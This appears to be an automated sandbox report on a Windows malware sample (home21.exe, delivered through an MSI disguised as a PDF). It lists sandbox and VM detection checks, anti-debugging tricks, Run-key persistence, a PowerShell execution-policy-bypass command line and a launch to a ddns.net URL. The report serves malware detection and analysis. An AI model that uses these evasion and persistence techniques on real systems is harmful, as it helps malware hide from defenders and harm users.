Source: C:\Users\Public\Documents\home21.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DiavcthD Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run DiavcthD Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\Public\Documents\home21.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\Public\Documents\home21.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Contains capabilities to detect virtual machines
Source: C:\Users\Public\Documents\home21.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4168 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5652 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSIBC4E.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSIBBDE.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSIBB6F.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSIBB00.tmp Jump to dropped file
Source: C:\Windows\System32\msiexec.exe Dropped PE file which has not been started: C:\Windows\Installer\MSIBBBE.tmp Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7772 Thread sleep count: 4168 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7760 Thread sleep count: 5652 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7832 Thread sleep time: -16602069666338586s >= -30000s Jump to behavior
Source: C:\Users\Public\Documents\home21.exe TID: 8060 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5040 Thread sleep time: -30000s >= -30000s Jump to behavior
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: home21.exe, 00000006.00000003.1884936248.000000000B1F0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: @Idassignednumbers@IdPORT_vmnet
Source: svchost.exe, 0000000B.00000002.4115614108.000001A07E054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.4112903015.000001A07CA27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.4115565205.000001A07E041000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1862461184.00000000075A5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllH
Source: home21.exe, 00000006.00000003.1884936248.000000000B1F0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: @Idassignednumbers@IdPORT_vmnet$@Idassignednumbers@IdPORT_genrad_mux
Source: C:\Users\Public\Documents\home21.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\Public\Documents\home21.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\Public\Documents\home21.exe Open window title or class name: regmonclass
Source: C:\Users\Public\Documents\home21.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\Public\Documents\home21.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\Public\Documents\home21.exe Open window title or class name: procmon_window_class
Source: C:\Users\Public\Documents\home21.exe Open window title or class name: filemonclass
Source: C:\Users\Public\Documents\home21.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks if the current process is being debugged
Source: C:\Users\Public\Documents\home21.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process queried: DebugObjectHandle Jump to behavior
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Memory protected: page read and write | page write copy | page execute read | page execute and read and write | page guard | page no cache | page write combine Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: hANEXOPDF.PDF40 234057.msi, type: SAMPLE
Source: Yara match File source: amsi32_7688.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7688, type: MEMORYSTR
Source: Yara match File source: C:\Windows\Installer\6dba16.msi, type: DROPPED
Bypasses PowerShell execution policy
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBC6B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiBC58.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrBC59.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrBC5A.txt" -propSep " :<->: " -testPrefix "_testValue."
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssBC6B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiBC58.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrBC59.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrBC5A.txt" -propSep " :<->: " -testPrefix "_testValue." Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\Public\Documents\home21.exe "C:\Users\Public\Documents\home21.exe" Jump to behavior
Source: C:\Users\Public\Documents\home21.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://winhomemodulo.ddns.net/w2/ Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pssbc6b.ps1" -propfile "c:\users\user\appdata\local\temp\msibc58.txt" -scriptfile "c:\users\user\appdata\local\temp\scrbc59.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\scrbc5a.txt" -propsep " :<->: " -testprefix "_testvalue."
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -noninteractive -executionpolicy bypass -file "c:\users\user\appdata\local\temp\pssbc6b.ps1" -propfile "c:\users\user\appdata\local\temp\msibc58.txt" -scriptfile "c:\users\user\appdata\local\temp\scrbc59.ps1" -scriptargsfile "c:\users\user\appdata\local\temp\scrbc5a.txt" -propsep " :<->: " -testprefix "_testvalue." Jump to behavior
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Shell_TrayWndSVW
Source: home21.exe, 00000006.00000003.1884936248.000000000B1F0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: @Winapi@Windows@DOF_PROGMAN
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Shell_TrayWndU
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: ReBarWindow32Shell_TrayWndMSTaskSwWClassMSTaskListWClassU
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SV
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\msiexec.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\msiexec.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
